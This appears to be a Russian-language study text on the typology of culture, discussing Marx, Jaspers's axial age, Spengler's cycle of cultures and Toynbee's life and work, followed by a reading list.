Занимается Маркс и духовными измерениями культуры. Он понимает, что духовное — необычная сфера для социального материализма, здесь господствуют закономерности, так или иначе выходящие за рамки объяснительных схем материалистического понимания истории. В будущем обществе царство необходимости будет заменено «царством свободы», и это будет пространством универсального развития человека. Он вводит категорию «свободное духовное производство», не занимаясь специально тем, как оно связано с «несвободным материальным». В подготовительных рукописях к «Капиталу» Маркс целеустремлённо рассматривает категорию «производительного труда», применяя ее к духовной сфере. Особенно велики трудности с искусством. Маркс констатирует явное несоответствие между эволюцией искусства и развитием общества. Он отчетливо сознает, что периоды расцвета искусства «отнюдь не находятся в соответствии с общим развитием общества, а, следовательно, также и с «развитием материальной основы последнего» Мифология и некоторые формы эпоса возникают только на определенной почве. «Разве тот взгляд на природу и на общественные отношения, который лежит в основе греческой фантазии, а потому и греческого искусства, возможен при наличии сельфакторов, железных дорог, локомотивов и электрического телеграфа?», — пишет Маркс. Он сравнивает античность с детством человеческого рода, а греков — с «нормальными детьми», причем, сущность «обаяния» греческого искусства связывает напрямую с невозможностью повторения тех незрелых условий, на почве которых оно возникло. Это уже совсем иная объяснительная схема, явно находящаяся за рамками социально-экономического подхода. То же самое относится к философии, науке, религии — более пристальный интерес Маркса к этим областям, возможно, привел бы его к необходимости другой логики в исследовании культуры в целом, духовного — в частности. Об этом, в частности, говорит тот факт, что, как бы чувствуя известную односторонность своей концепции. Маркс, в конце жизни, в последних своих трудах «Исторические выписки». Конспект книги Моргана «Древнее общество», письма 70-х годов. Обращает взор к живой целостности культурно-исторического процесса, нащупывает пути к построению универсального портрета человеческой цивилизации, стремится дополнить ее «экономический скелет» плотью исторических, этнографических, психологических структур. Маркса интересуют исторические события, дипломатия, политические деятели прошлого, вызревание семейно-родовых отношений в тесной связи с мифологическими представлениями. Но тут уже основная проблематика немецкого мыслителя выходит за свои границы.

Типологизация культуры К. Ясперс

В отличие от популярной в Европе первой половины XX в. теории культурных циклов, немецкий философ Карл Ясперс (1883—1969) предполагал единое происхождение человечества и единую историю культуры. Критикуя метод Шпенглера, Ясперс утверждал, что он позволяет лишь истолковывать явления духовной жизни, стили в искусстве или типы «настроений», однако не дает возможности установить законы. Кроме того, Ясперс обращал внимание на неправомерность биологических аналогов, которые широко используются в шпенглеровской концепции культурных типов, вследствие чего история приобретает фаталистический характер.

Он также отвергал и материалистическое толкование истории марксизмом, утверждая, что в истории культуры значительную роль играют не экономические факторы, а духовные. Таким образом, полемизируя с К. Марксом, Ясперс отстаивает приоритет «духовной составляющей» в истории культуры, а в полемике со Шпенглером утверждает ее единство. Однако научно доказать это положение, по мнению Ясперса, невозможно. Допущение этого единства он называет постулатом веры. Отсюда ясно, что таким образом Ясперс четко заявляет о своей приверженности в объяснении культурно-исторического процесса к религиозной традиции. История, по Ясперсу, имеет свое начало и свое смысловое завершение. Ее движение определяется силой Провидения. Таким образом, Ясперс возвращается к линейной схеме истории культуры. Рисуя схему мировой истории, К. Ясперс выделяет четыре гетерогенных периода: прометеевская эпоха, эпоха великих культур древности, эпоха духовной основы человеческого бытия (осевое время) и эпоха развития техники. «Человек четыре раза как бы отправляется от новой основы. Сначала от доистории, от едва доступной нашему постижению прометеевской эпохи (возникновение речи, орудий труда, умения пользоваться огнем), когда он только становится человеком. Во втором случае от возникновения великих культур древности. В третьем — от осевого времени, когда полностью формируется подлинный человек в его духовной открытости миру. В четвертом — от научно-технической эпохи, чье преобразующее воздействие мы испытываем на себе». Прометеевская эпоха составляет, согласно Ясперсу, доисторию человечества, собственно, история началась лишь около 5000 лет до н.э. В доисторическую эпоху происходило «становление основных конституитивных свойств человеческого бытия», формирование человека «как вида со всеми его привычными склонностями и свойствами», закладывался фундамент человеческого бытия, его сущностная основа. К этому, по сути дела, «докультурному» периоду относится «первое становление человека». Отвечая на вопрос, что же явилось существенным в превращении доисторического человека в человека культуры, Ясперс выделяет «использование огня и орудий», «появление речи», «способы формирующего человека насилия над самим собой» (например, табу), «образование групп и сообществ», «жизнь, формируемую мифами». Начало истории, т. е. уже собственно культурного развития, К. Ясперс относит к тому времени, «как существует передача опыта». Второй период, выделяемый Ясперсом,— это великие исторические культуры древности. Они возникли почти одновременно в трех областях земного шара. «Это, во-первых, шумеро-вавилонская и египетская культуры и эгейский мир с 4000 г. до н. э. во-вторых, доарийская культура долины Инда 3-го тысячелетия (связанная с Шумером) и в-третьих, архаический мир Китая 2-го тысячелетия до н. э.». Чертами, характеризующими данный культурный тип, выступают наличие письменности и «специфической технической рационализации». Третий период — осевое время. Период «осевого времени» является, по мнению Ясперса, центральным в истории человечества. Это эпоха духовного основоположения всех мировых культур. «Эту ось мировой истории, — писал-Ясперс, — следует отнести ко времени около 500 лет до н. э., к тому духовному процессу, который шел между 800 и 200 гг. до н. э. Тогда произошел самый резкий поворот в истории. Появился человек такого типа, который сохранился и по сей день. В эту эпоху были разработаны основные категории, которыми мы мыслим, по сей день, заложены основы мировых религий, и сегодня определяющие жизнь людей». Это духовное основоположение человечества происходило одновременно и независимо в Китае, Индии, Персии, Палестине, Греции. Тогда жили Конфуций и Лао-цзы, возникли упанишады, проповедовали Будда, Заратустра, выступали пророки Илия, Исайя, Иеремия и Второ-исайя; это время философов Парменида, Гераклита, Платона, поэта Гомера, трагиков фукидида и Архимеда. Их творчество, проповеди и учения «сводятся к тому, что человек осознает бытие в целом, самого себя и свои границы. Перед ним открывается ужас мира и собственная беспомощность. Стоя над пропастью, он ставит радикальные вопросы, требует освобождения и спасения. Осознавая свои границы, он ставит перед собой высшие цели, познает абсолютность в глубинах самосознания и в ясности трансцендентного мира». Осевое время по Ясперсу, — это время рождения мировых религий, пришедших на смену мифологическому сознанию. Почти одновременно на Земле, независимо друг от друга, образовалось несколько внутренне родственных духовных центров. Основное, что сближало их и, следовательно, являлось главной характеристикой осевого времени — это прорыв мифологического миросозерцания, составляющего духовную основу доосевых культур. Человек как бы впервые пробудился к ясному отчетливому мышлению, возникло недоверие к непосредственному эмпирическому опыту, а также рационализация отношения к миру и к себе подобным.

С точки зрения Ясперса, в это время происходит становление истории человечества как мировой истории, тогда как до «осевого времени» имели место лишь истории локальных культур. Выделение такого периода духовного основоположения человечества, духовного родства и духовных генов всех культур дают возможность Ясперсу сделать вывод, что противоположность Востока и Запада не абсолютна. Общие духовные корни позволяют найти способы коммуникаций, диалогов, разрешения конфликтов и создания единого культурного пространства. Чтобы спасти человеческую сущность, находящуюся в XX в. На грани гибели, мы должны, по мнению Ясперса, обновить свою связь с осевым временем, и возвратиться к его «изначальности», подыскивая для неизменно утрачиваемой и вновь обретаемой истины новые «шифры». Техническая эпоха по своей значимости соответствует прометеевской. Если в доисторическое время прометеевская эпоха характеризовалась возникновением речи, орудий труда, умением пользоваться огнем, то современной научно-технической эпохе свойственны аналогичные процессы, только на более высоком уровне: создание принципиально новых информационных и других технологий, открытие новых источников энергии. Новая прометеевская эпоха подготавливает возникновение в будущем великих культур, значение которых аналогично значению великих культур древности. Новые великие культуры заложат основы для второго осевого времени.

Типологизация культур О. Шпенглера и А. Тойнби

ШПЕНГЛЕР ОСВАЛЬД (Spengler, Oswald) (1880–1936), немецкий философ и культуролог. Родился 29 мая 1880 в Бланкенбурге (Германия). Изучал философию, историю, математику и искусство в Мюнхенском и Берлинском университетах, докторскую степень получил в 1904. Работал учителем в Гамбурге. Академическую карьеру начал в Мюнхенском университете в качестве преподавателя математики. Пытался заняться публицистикой, однако после прихода к власти нацистов в 1933 и изъятия одной из его книг вел уединенную жизнь. В 1918 вышел в свет первый том его известного труда Закат западного мира (Der Untergang des Abendlandes, 2 тт., 1918–1922, исправленный вариант первого тома вышел в 1923). В этой самой значительной из своих работ Шпенглер предсказывал гибель западноевропейской и американской цивилизаций, которая последует за жестокой «эпохой цезаризма». Сама история, на его взгляд, есть калейдоскоп из восьми «органических» культурно-исторических типов. Или культур: египетской, индийской, вавилонской, китайской, аполлоновской (греко-римской), магической (византийско-арабской), фаустовской (западноевропейской) и культуры майя. Девятая – культура будущего, русско-сибирская. Приводя разнообразные исторические данные, Шпенглер пытался доказать два тезиса в отношении этих культур. Согласно первому тезису, все культуры, которые он рассматривал как «организмы», следуют одной и той же схеме развития и гибели, которая разворачивается в продолжение одного и того же исторического цикла. Все они проходят через стадии пред-культуры, культуры и цивилизации и отмечены кризисами одного и того же типа и аналогичными событиями и фигурами. Так, Александр играет ту же роль в античной культуре, что и Наполеон в западной, аналогично соотносятся Пифагор и Лютер, Аристотель и Кант, стоики и социалисты. Согласно второму тезису, каждая культура обладает своей уникальной «душой», или формой опыта и творчества, которая выражена в искусстве, мышлении и деятельности. Западная «фаустовская» душа характеризуется стремлением к бесконечности, которое одинаково выражено в готическом соборе, исчислении бесконечно малых, музыке Баха, империалистической дипломатии силы, радио и банковском кредите.

Среди других значительных работ Шпенглера – Человек и техника (Der Mensch und die Technik, 1931), Годы решений (Jahre der Entscheidungen, 1933), в которых он писал о сложном политическом и духовном положении Германии после., Первой мировой войны.

Умер Шпенглер в Мюнхене 8 мая 1936.

Типологизация культуры А. Тойнби

Сэр Арнольд Джозеф Тойнби прожил очень долгую жизнь. Для историка это полезно. Особенно полезно увидеть уже сознательным взором три четверти поразительного двадцатого века. Арнольд Тойнби не стал историком этой эпохи. Он смолоду выбрал своей специальностью античную историю; в процветающей Великобритании перед первой мировой войной это было нормально. Бури XX века не заставили его изменить тематику исследований, но они даровали ему особый взгляд на классическую античность. «Счастлив, кто посетил сей мир в его минуты роковые…» Сэр Арнольд, наблюдая собственными глазами одну переломную эпоху в истории человечества, стал особенно чуток к другим подобным эпохам, о которых известно лишь по скупым и противоречивым сообщениям очевидцев. И еще смолоду решил: он не будет торопиться писать незрелых книги. В предисловии к книге «Ганнибалово наследие» Тойнби пишет: «Возможность наблюдать крутой поворот на судьбах Европы, вызванный двумя мировыми войнами, — бесценный подарок для историка, изучающего тот перелом в судьбах Рима. Который вызвали две Пунические войны… К счастью, я не начал писать эту книгу сразу, как только задумал ее…» Книга вышла через пятьдесят лет после того, как была задумана. Чем же он занимался, молодой Арнольд Тойнби? Подобно молодому Линнею, он читал и путешествовал, путешествовал и читал. И вел записные книжки. Еще до первой мировой войны он успел обойти пешком большую часть Греции — после этого одна строка Геродота или Фукидида говорила ему больше, чем целая глава из исторической географии Эллады. Принцип «Лучше один раз увидеть…» он исповедовал до конца своих дней — многие области, где разыгрались изучаемые им события, он не поленился специально посетить, когда ему было уже под семьдесят. А когда Тойнби исполнилось сорок лет, он решил, что пора привести в систему выработавшийся у него взгляд на историю. Так родился самый знаменитый его труд — «Постижение истории». Попросту говоря, Арнольд Тойнби попробовал критически разобрать историю всех основных цивилизаций, созданных человеком, — разобрать с «квазибиологической» точки зрения, уподобляя развитие цивилизации развитию биологического вида. Двенадцатитомный труд Тойнби вызвал и вызывает до сих пор самые ожесточенные споры. Сэр Арнольд, однако, совсем не участвовал в полемике вокруг своего детища! Он исповедовал то же правило, что и другой выдающийся англичанин — Резерфорд: «Высказал свое мнение, выслушал оппонентов — и все; иди дальше думать и работать». Огромный труд был для него лишь генеральной репетицией основной работы: если раньше он оттачивал свою технику, анализируя весь список «роковых минут» в истории человечества, то теперь он сделает обратное — применит весь накопленный и упорядоченный арсенал фактов, методов и концепций к анализу небольшого числа обществ — Эллады. Рима, Византии. Сэр Арнольд успел выполнить и эту, заключительную часть своего творческого плана: его последняя книга вышла в свет, когда автору было 83 года. Самая блестящая из книг Тойнби — «Эллинизм» — содержит всего 250 страниц. Не слишком ли мало? Но ведь и решающая часть самой блестящей шахматной партии длится не более десяти — двадцати ходов. Что привлекает нас в творчестве крупного шахматиста? Сочетание позиционной и комбинационной игры. Это значит, что все фигуры движутся и бьют вместе, как одна рука; в то же время виден дерзкий, рассчитанный замысел, исполняемый этой рукой, несмотря на внешние помехи. Именно такое впечатление производят поздние труды Тойнби: историю каждого общества он рассматривает как часть мировой истории — и в пространстве, и во времени. И этот прием порою позволяет осветить самые, казалось бы, темные места или незначительные детали исторической картины, освещает так, что видно: нет ни одной лишней детали в историческом механизме, работающем по своим строгим законам, которые нам — увы? — еще не полностью известны.

Философские воззрения Арнольда Тойнби весьма эклектичны. Он называл себя идеалистом, христианином, пацифистом и т. д. — словом, английским либералом. Он и был таковым. Но не сводился к этому! Дело в том, что Тойнби был еще (что важнее) стихийным материалистом и диалектиком, он всегда стремился к непредвзятому изучению природных явлений. Непредвзятость Тойнби как исторического мыслителя особенно ярко проявилась в конце его жизни, в его переписке с выдающимся советским историком академиком Н. И. Конрадом. Это просто вежливый разговор двух крупных оригинальных личностей. Здесь идет диалог между представителями двух разных исторических концепций, и диалог этот ведется разумно: каждый из партнеров хочет взять у собеседника все лучшее.

Заимствование Тойнби концепций исторического материализма особенно заметно в его книге «Ганнибалово наследие», которую он заканчивал в годы переписки с Н. И. Конрадом. Это замечательный анализ экономического переворота в Римской республике, вызванного переходом к товарному сельскому хозяйству. Что касается идеалистических гипотез А. Тойнби, Богато представленных в его раннем труде «Постижение истории», то они справедливо подверглись марксистской критике и почти отсутствуют в поздних трудах зрелого историка. Тойнби всегда считал: «Ничто не мешает мне сегодня быть умнее, чем я был вчера!» К его наследию надо подходить весьма критически, но целиком отказываться от него было бы не по-хозяйски.

Литература

1. Американская социологическая мысль. Тексты. /Под ред. В.И.Добренькова. Изд-во МГУ, 1994.

2. Белова Т.В. Культура и власть. Изд-во МГУ, 1991.

3. Вебер М. Избранные произведения. М.,1990.

4. Волкова Е.В. Произведение искусства в мире художественной культуры. М.,1993.

5. Гудков Л., Дубинин Б. Литература как социальный институт. М.,1994.

6. Горбачева В.И. Структура читательских интересов населения крупных городов // кн.: Молодежь. Общество. Реформы. М.,1994.

7. Гуревич П.С. Психология имиджа: типология телевизионного образа и парадоксы ее восприятия. М.,1991.

8. Дейян Арман. Реклама. М.,1993.

9. Ерасов Б.С. Социальная культурология. Пособие для студентов вузов в 2 частях. М.,1994, ч.1.

10. Зиммель Г.П. Конфликт современной культуры. М.,192.

11. Кертман Л.Е. История культуры стран Европы и Америки. МЛ 987.

12. Киноаудитория на переходе к рынку. / Под ред.М.И.Жабского. М.,1994.

13. Книга и чтение в зеркале социологии. / Сост. В.Я.Стельмах и др. М.,1990.ж

14. Культурная политика России: история и современность./ Отв. ред. К.Э,Разлогов., И.А.Бутенко. М.,1996.

15. Кун Т. Структура научных революций. М., 1975.

16. Ляхович Е.С., Ревушкин А.С. Университеты в истории и культуре дореволюционой России. Томск, 1998.

17. Минюшев Ф.И. Социокультурное творчество // Культурология. Под ред. В.И.Добрыниной. М.,1993, ч.1.